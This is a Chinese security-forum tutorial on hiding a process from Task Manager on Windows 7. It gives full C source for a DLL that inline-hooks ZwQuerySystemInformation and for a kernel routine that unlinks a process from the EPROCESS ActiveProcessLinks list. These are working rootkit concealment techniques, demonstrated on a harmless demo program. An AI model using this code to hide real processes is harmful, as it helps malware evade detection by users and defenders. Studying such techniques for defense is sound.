安全矩阵

 找回密码
 立即注册
搜索
查看: 2933|回复: 0

进程隐藏技术

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-9 15:01:55 | 显示全部楼层 |阅读模式
原文链接:进程隐藏技术

本次实现是在WIN7 X86系统上进行,实验要达到的目的就是实现进程的隐藏,以让任务管理器查不到要隐藏的进程。这里要隐藏的程序是一个简单的HelloWord弹窗程序,程序名是demo.exe。


用户层的进程隐藏技术
1、实现原理用户层的进程隐藏的实现主要是通过HOOK任务管理器的ZwQuerySystemInformation函数。之所以是这个函数,是因为无论是通过EnumProcess函数还是CreateToolhelp32Snapshot函数来查询进程,它们最终都会调用ntdll.dll中的ZwQuerySystemInformation函数来实现功能。
所以只要采用DLL注入技术,将DLL注入到要HOOK的进程中,并在DLL加载的时候执行HOOK ZwQuerySystemInformation函数就可以实现进程隐藏。关于如何实现DLL注入请参考这篇常见的几种DLL注入技术。而对ZwQuerySystemInformation的HOOK采取的是Inline Hook的技术。如何实现Inline Hook请参考这篇内核层的三种HOOK技术。
在IDA中可以看到ZwQuerySystemInformation的实现如下。由于它最开始的五个字节是为eax赋值调用号,所以其实可以根据热补丁的思想,对这五个字节进行HOOK。然后在HOOK完要执行的函数里面对eax进行重新赋值以后在跳转到下一行代码也就是mov edx,0x7FFE0300进行执行。

由于之前写过热补丁技术,这里的话就用传统的HOOK步骤。
① 使用GetProcAddress函数获取要HOOK的函数的地址,并将其保存。
② 修改前五字节的页属性为可读可写可执行。
③ 将这五个字节读出来备份起来。
④ 计算从需要跳转的大小,公式是:要跳转的目的地址-(HOOK的函数的地址 + 5)。
⑤ 将计算好距离的跳转指令写入函数的这五个字节。
⑥ 还原页属性。
UnHook则非常简单:
① 判断函数是否被HOOK。
② 修改函数地址页属性为可读可写可执行。
③ HOOK的时候保存的五个字节写回到函数地址。
④ 恢复函数地址页属性。
在完成HOOK以后执行的函数内部就需要以下的步骤来让程序正常运行:
① 首先调用UnHook将函数恢复。
② 调用原函数获取返回结果,将要隐藏的进程隐藏掉。
③ 再次对程序进行HOOK操作。
至于要如何将进程隐藏起来,就需要首先看看ZwQuerySystemInformation在文档中的定义了。
  1. NTSTATUS WINAPI ZwQuerySystemInformation(
  2.   __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
  3.   __inout    PVOID SystemInformation,
  4.   __in       ULONG SystemInformationLength,
  5.   __out_opt  PULONG ReturnLength);
复制代码


                        参数
                       
                        说明
                       
                        SystemInformationClass
                       
                        要检索的类型。是一个SYSTEM_INFORMATION_CLASS的联合体
                       
                        SystemInformation
                       
                        指向缓冲区的指针,用于接收请求信息。该信息的大小和结构取决于SystemInformationClass
                       
                        SystemInformationLength
                       
                        SystemInformation参数指向的缓冲区的大小
                       
                        ReturnLength
                       
                        一个可选指针,指向函数写入请求信息的实际大小的位置
                       
而SYSTEM_INFORMATION_CLASS,在文档中的定义如下:
  1. typedef enum _SYSTEM_INFORMATION_CLASS {
  2.     SystemBasicInformation = 0,
  3.     SystemPerformanceInformation = 2,
  4.     SystemTimeOfDayInformation = 3,
  5.     SystemProcessInformation = 5,
  6.     SystemProcessorPerformanceInformation = 8,
  7.     SystemInterruptInformation = 23,
  8.     SystemExceptionInformation = 33,
  9.     SystemRegistryQuotaInformation = 37,
  10.     SystemLookasideInformation = 45
  11. } SYSTEM_INFORMATION_CLASS;
复制代码

当它指定为SystemProcessInformation(0x5)的时候,就表示要检索系统的进程信息。函数将会得到所有的进程信息并把这些得到的进程信息的内容保存到SYSTEM_PROCESS_INFORMATION结构数组,数组中的每一个元素都代表了一个进程信息。而数组的首地址将会保存到第二个参数SystemInformation中。而SYSTEM_PROCESS_INFORMATION在文档中的定义如下:
  1. typedef struct _SYSTEM_PROCESS_INFORMATION {
  2.     ULONG NextEntryOffset;
  3.     BYTE Reserved1[52];
  4.     PVOID Reserved2[3];
  5.     HANDLE UniqueProcessId;
  6.     PVOID Reserved3;
  7.     ULONG HandleCount;
  8.     BYTE Reserved4[4];
  9.     PVOID Reserved5[11];
  10.     SIZE_T PeakPagefileUsage;
  11.     SIZE_T PrivatePageCount;
  12.     LARGE_INTEGER Reserved6[6];
  13. } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
复制代码

其中的NextEntryOffset代表的是下一个SYSTEM_PROCESS_INFORMATION元素距离现在这个SYSTEM_PROCESS_INFORMATION元数的偏移。而UniqueProcessId就是查询到的这个进程的PID。根据它就可以找到要隐藏的进程,并将它从这个结构体数组中断开,也就是要隐藏进程的SYSTEM_PROCESS_INFORMATION的上一个元数的NextEntryOffset加上当前SYSTEM_PROCESS_INFORMATION的NextEntryOffset。具体代码实现如下:
  1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
  2. #include <Windows.h>
  3. #include <winternl.h>
  4. #include <cstdio>
  5. #include <TlHelp32.h>

  6. #define HIDE_PROCESS_NAME "demo.exe"  //要隐藏的进程名

  7. typedef
  8. NTSTATUS
  9. (WINAPI* pfnZwQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass,
  10.                                       PVOID SystemInformation,
  11.                                       ULONG SystemInformationLength,
  12.                                       PULONG ReturnLength);


  13. //HOOK以后要执行的函数
  14. NTSTATUS WINAPI MyZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,
  15.                                            PVOID SystemInformation,
  16.                                            ULONG SystemInformationLength,
  17.                                            PULONG ReturnLength);
  18. BOOL Hook();
  19. BOOL UnHook();
  20. VOID ShowError(PCHAR msg);
  21. DWORD WINAPI ThreadProc(LPVOID lpParameter);
  22. DWORD GetPid(PCHAR pProName); //根据进程名获取要隐藏的进程的PID

  23. DWORD g_dwOrgAddr = 0;   //原函数地址
  24. CHAR g_szOrgBytes[5] = { 0 };  //保存函数的前五个字节
  25. DWORD g_dwHidePID = 0;   //要隐藏的进程的PID

  26. BOOL APIENTRY DllMain( HMODULE hModule,
  27.                        DWORD  ul_reason_for_call,
  28.                        LPVOID lpReserved
  29.                      )
  30. {
  31.     switch (ul_reason_for_call)
  32.     {
  33.         case DLL_PROCESS_ATTACH:
  34.         {
  35.             HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
  36.             if (hThread) CloseHandle(hThread);
  37.             break;
  38.         }
  39.         case DLL_THREAD_ATTACH:
  40.         case DLL_THREAD_DETACH:
  41.         case DLL_PROCESS_DETACH:
  42.             break;
  43.     }
  44.     return TRUE;
  45. }

  46. BOOL Hook()
  47. {
  48.     BOOL bRet = TRUE;
  49.     HMODULE hNtDll = NULL;
  50.     pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;
  51.     BYTE szShellCode[5] = { 0xE9, 0, 0, 0, 0 };    //写入跳转指令的五字节
  52.     DWORD dwOldProtect = 0;  //保存原来的页属性

  53.     hNtDll = LoadLibrary("ntdll.dll");
  54.     if (hNtDll == NULL)
  55.     {
  56.         ShowError("LoadLibrary");
  57.         bRet = FALSE;
  58.         goto exit;
  59.     }

  60.     //获取函数地址
  61.     ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hNtDll, "ZwQuerySystemInformation");
  62.     if (ZwQuerySystemInformation == NULL)
  63.     {
  64.         ShowError("GetProcAddress");
  65.         bRet = FALSE;
  66.         goto exit;
  67.     }

  68.     //保存HOOK函数的地址
  69.     g_dwOrgAddr = (DWORD)ZwQuerySystemInformation;

  70.     //修改页属性是可读可写可执行
  71.     if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), PAGE_EXECUTE_READWRITE, &dwOldProtect))
  72.     {
  73.         ShowError("VirtualProtect");
  74.         bRet = FALSE;
  75.         goto exit;
  76.     }

  77.     //将原来的五个字节内容保存
  78.     if (!ReadProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, g_szOrgBytes, sizeof(g_szOrgBytes), NULL))
  79.     {
  80.         ShowError("ReadProcessMemory");
  81.         bRet = FALSE;
  82.         goto exit;
  83.     }

  84.     //计算要跳转的长度
  85.     *(PDWORD)(szShellCode + 1) = (DWORD)MyZwQuerySystemInformation - ((DWORD)ZwQuerySystemInformation + 5);
  86.     //将shellcode写入
  87.     if (!WriteProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, szShellCode, sizeof(szShellCode), NULL))
  88.     {
  89.         ShowError("WriteProcessMemory");
  90.         bRet = FALSE;
  91.         goto exit;
  92.     }

  93.     //还原页属性
  94.     if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), dwOldProtect, &dwOldProtect))
  95.     {
  96.         ShowError("VirtualProtect");
  97.         bRet = FALSE;
  98.         goto exit;
  99.     }
  100. exit:
  101.     return bRet;
  102. }

  103. BOOL UnHook()
  104. {
  105.     BOOL bRet = TRUE;
  106.     DWORD dwOldProtect = 0;  //保存页属性

  107.     if (g_dwOrgAddr == 0)
  108.     {
  109.         MessageBox(NULL, TEXT("函数还未HOOK"), TEXT("Error"), MB_OK);
  110.         bRet = FALSE;
  111.         goto exit;
  112.     }

  113.     //修改页属性为可读可写可执行
  114.     if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), PAGE_EXECUTE_READWRITE, &dwOldProtect))
  115.     {
  116.         ShowError("VirtualProtect");
  117.         bRet = FALSE;
  118.         goto exit;
  119.     }

  120.     //将函数中原来的内容恢复回去
  121.     if (!WriteProcessMemory(GetCurrentProcess(), (PVOID)g_dwOrgAddr, g_szOrgBytes, sizeof(g_szOrgBytes), NULL))
  122.     {
  123.         ShowError("WriteProcessMemory");
  124.         bRet = FALSE;
  125.         goto exit;
  126.     }

  127.     //将页属性恢复
  128.     if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), dwOldProtect, &dwOldProtect))
  129.     {
  130.         ShowError("VirtualProtect");
  131.         bRet = FALSE;
  132.         goto exit;
  133.     }

  134.     g_dwOrgAddr = 0;
  135.     memset(g_szOrgBytes, 0, sizeof(g_szOrgBytes));
  136. exit:
  137.     return bRet;
  138. }


  139. NTSTATUS WINAPI MyZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass,
  140.                                             PVOID SystemInformation,
  141.                                             ULONG SystemInformationLength,
  142.                                             PULONG ReturnLength)
  143. {
  144.     NTSTATUS status = 0;
  145.     PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
  146.     DWORD dwOrgFuncAddr = 0;
  147.      

  148.     //获取函数地址
  149.     dwOrgFuncAddr = g_dwOrgAddr;

  150.     //卸载HOOK
  151.     if (!UnHook())
  152.     {
  153.         MessageBox(NULL, TEXT("UnHook失败"), TEXT("Error"), MB_OK);
  154.         goto exit;
  155.     }

  156.     status = ((pfnZwQuerySystemInformation)dwOrgFuncAddr)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
  157.      
  158.     //判断函数是否调用成功,以及是否是查询进程的操作
  159.     if (NT_SUCCESS(status) && SystemInformationClass == SystemProcessInformation)
  160.     {
  161.         pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  162.         while (TRUE)
  163.         {
  164.             //判断是否是要隐藏的进程
  165.             if (g_dwHidePID == (DWORD)pCur->UniqueProcessId)
  166.             {
  167.                 //将进程隐藏起来
  168.                 if (pPrev == NULL)   SystemInformation = (PBYTE)pCur + pCur->NextEntryOffset;
  169.                 else if (pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0;
  170.                 else pPrev->NextEntryOffset += pCur->NextEntryOffset;
  171.                 break;
  172.             }
  173.             else pPrev = pCur;

  174.             //如果没有下一个成功则退出
  175.             if (pCur->NextEntryOffset == 0) break;
  176.          
  177.             //将指针指向下一个成员
  178.             pCur = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pCur + pCur->NextEntryOffset);
  179.         }
  180.     }
  181.     //重新HOOK
  182.     if (!Hook()) MessageBox(NULL, TEXT("Hook失败"), TEXT("Error"), MB_OK);
  183. exit:
  184.     return status;
  185. }

  186. DWORD WINAPI ThreadProc(LPVOID lpParameter)
  187. {
  188.     g_dwHidePID = GetPid(HIDE_PROCESS_NAME);

  189.     if (g_dwHidePID == 0)
  190.     {
  191.         MessageBox(NULL, TEXT("没有找到要隐藏的进程"), TEXT("Error"), MB_OK);
  192.     }
  193.     else
  194.     {
  195.         if (!Hook())
  196.         {
  197.             MessageBox(NULL, TEXT("Hook 失败"), TEXT("Error"), MB_OK);
  198.         }
  199.         else MessageBox(NULL, TEXT("Hook成功"), TEXT("Success"), MB_OK);
  200.     }


  201.     return 0;
  202. }

  203. DWORD GetPid(PCHAR pProName)
  204. {
  205.     PROCESSENTRY32 pe32 = { 0 };
  206.     HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  207.     BOOL bRet = FALSE;

  208.     if (hSnap == INVALID_HANDLE_VALUE)
  209.     {
  210.         printf("CreateToolhelp32Snapshot process %d\n", GetLastError());
  211.         return 0;
  212.     }

  213.     pe32.dwSize = sizeof(pe32);
  214.     bRet = Process32First(hSnap, &pe32);
  215.     while (bRet)
  216.     {
  217.         if (lstrcmp(pe32.szExeFile, pProName) == 0)
  218.         {
  219.             return pe32.th32ProcessID;
  220.         }
  221.         bRet = Process32Next(hSnap, &pe32);
  222.     }

  223.     CloseHandle(hSnap);

  224.     return 0;
  225. }

  226. VOID ShowError(PCHAR msg)
  227. {
  228.     CHAR szError[105] = { 0 };

  229.     sprintf(szError, "%s Error %d", msg, GetLastError());
  230.     MessageBox(NULL, szError, TEXT("Error"), MB_OK);
  231. }
复制代码

2.运行结果在实现注入HOOK函数之前可以看到任务管理器可以查看到打开的demo.exe进程。

完成注入,HOOK成功之后就看不到了。

​​

内核层的进程隐藏技术
1、实现原理在内核中每一个进程都有对应的一个EPROCESS结构体,在Windows7下这个结构体中的部分成员如下,其中0x16C保存了进程名字的指针。通过这个指针可以获得当前EPROCESS表示的是哪一个进程。
  1. 3: kd> dt _EPROCESS
  2. nt!_EPROCESS
  3.    +0x000 Pcb              : _KPROCESS
  4.    +0x098 ProcessLock      : _EX_PUSH_LOCK
  5.    +0x0a0 CreateTime       : _LARGE_INTEGER
  6.    +0x0a8 ExitTime         : _LARGE_INTEGER
  7.    +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
  8.    +0x0b4 UniqueProcessId  : Ptr32 Void
  9.    +0x0b8 ActiveProcessLinks : _LIST_ENTRY    //进程链表
  10.    +0x0c0 ProcessQuotaUsage : [2] Uint4B
  11.    +0x0c8 ProcessQuotaPeak : [2] Uint4B
  12.    +0x0d0 CommitCharge     : Uint4B
  13.    +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK
  14.    +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK
  15.    +0x0dc PeakVirtualSize  : Uint4B
  16.    +0x0e0 VirtualSize      : Uint4B
  17.    +0x0e4 SessionProcessLinks : _LIST_ENTRY
  18.    +0x0ec DebugPort        : Ptr32 Void
  19.    +0x0f0 ExceptionPortData : Ptr32 Void
  20.    +0x0f0 ExceptionPortValue : Uint4B
  21.    +0x0f0 ExceptionPortState : Pos 0, 3 Bits
  22.    +0x0f4 ObjectTable      : Ptr32 _HANDLE_TABLE
  23.    +0x0f8 Token            : _EX_FAST_REF
  24.    +0x0fc WorkingSetPage   : Uint4B
  25.    +0x100 AddressCreationLock : _EX_PUSH_LOCK
  26.    +0x104 RotateInProgress : Ptr32 _ETHREAD
  27.    +0x108 ForkInProgress   : Ptr32 _ETHREAD
  28.    +0x10c HardwareTrigger  : Uint4B
  29.    +0x110 PhysicalVadRoot  : Ptr32 _MM_AVL_TABLE
  30.    +0x114 CloneRoot        : Ptr32 Void
  31.    +0x118 NumberOfPrivatePages : Uint4B
  32.    +0x11c NumberOfLockedPages : Uint4B
  33.    +0x120 Win32Process     : Ptr32 Void
  34.    +0x124 Job              : Ptr32 _EJOB
  35.    +0x128 SectionObject    : Ptr32 Void
  36.    +0x12c SectionBaseAddress : Ptr32 Void
  37.    +0x130 Cookie           : Uint4B
  38.    +0x134 Spare8           : Uint4B
  39.    +0x138 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY
  40.    +0x13c Win32WindowStation : Ptr32 Void
  41.    +0x140 InheritedFromUniqueProcessId : Ptr32 Void
  42.    +0x144 LdtInformation   : Ptr32 Void
  43.    +0x148 VdmObjects       : Ptr32 Void
  44.    +0x14c ConsoleHostProcess : Uint4B
  45.    +0x150 DeviceMap        : Ptr32 Void
  46.    +0x154 EtwDataSource    : Ptr32 Void
  47.    +0x158 FreeTebHint      : Ptr32 Void
  48.    +0x160 PageDirectoryPte : _HARDWARE_PTE
  49.    +0x160 Filler           : Uint8B
  50.    +0x168 Session          : Ptr32 Void
  51.    +0x16c ImageFileName    : [15] UChar    //指向进程的名称
  52.    +0x17b PriorityClass    : UChar
  53.    +0x17c JobLinks         : _LIST_ENTRY
  54.    +0x184 LockedPagesList  : Ptr32 Void
  55.    +0x188 ThreadListHead   : _LIST_ENTRY
复制代码

其中偏移0xB8的ActiveProcesssLinks是一个LIST_ENTRY的链表,它在文档中的定义如下:
  1. typedef struct _LIST_ENTRY {
  2.    struct _LIST_ENTRY *Flink;    //指向下一个EPROCESS的ActiveProcessLinks
  3.    struct _LIST_ENTRY *Blink;    //指向上一个EPROCESS的ActiveProcessLinks
  4. } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
复制代码

这是一个双向链表,通过这个链表就可以遍历系统中的所有进程。而用户层通过API查看进程的时候,就是通过这个链表来查找进程的内容。所以只要在内核中将相应进程从这个链表中断链就可以实现进程隐藏。但是要注意这个链表的中的成员指向的是另一个EPROCESS的ActiveProcessLinks,如下图所示。所以要获得这个进程的EPROCESS还需要减去0xB8。

具体实现的代码如下:
  1. VOID HideProcess()
  2. {
  3.     PEPROCESS pCurPro = NULL, pPrevPro = NULL;
  4.     PCHAR pImageFileName = NULL;
  5.     PLIST_ENTRY pListEntry = NULL;

  6.     //获取当前进程的EPROCESS
  7.     pCurPro = PsGetCurrentProcess();
  8.     pPrevPro = pCurPro;
  9.     do
  10.     {
  11.         //获取EPROCESS的进程名
  12.         pImageFileName = (PCHAR)pCurPro + 0x16C;
  13.         //是否是要隐藏的进程
  14.         if (strcmp(pImageFileName, "demo.exe") == 0)
  15.         {
  16.             //对进程进行断链操作
  17.             pListEntry = (PLIST_ENTRY)((ULONG)pCurPro + 0xB8);
  18.             pListEntry->Blink->Flink = pListEntry->Flink;
  19.             pListEntry->Flink->Blink = pListEntry->Blink;
  20.             DbgPrint("进程%s隐藏成功\r\n", pImageFileName);
  21.         }
  22.         pCurPro = (PEPROCESS)(*(PULONG)((ULONG)pCurPro + 0xB8) - 0xB8);
  23.     } while (pCurPro != pPrevPro);
  24. }
复制代码

2、运行结果驱动加载前可以看到任务管理器可以正常查到运行的demo.exe进程。

而当驱动启动,执行了隐藏进程代码以后,在任务管理器中就看不到demo.exe了。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 08:49 , Processed in 0.013811 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表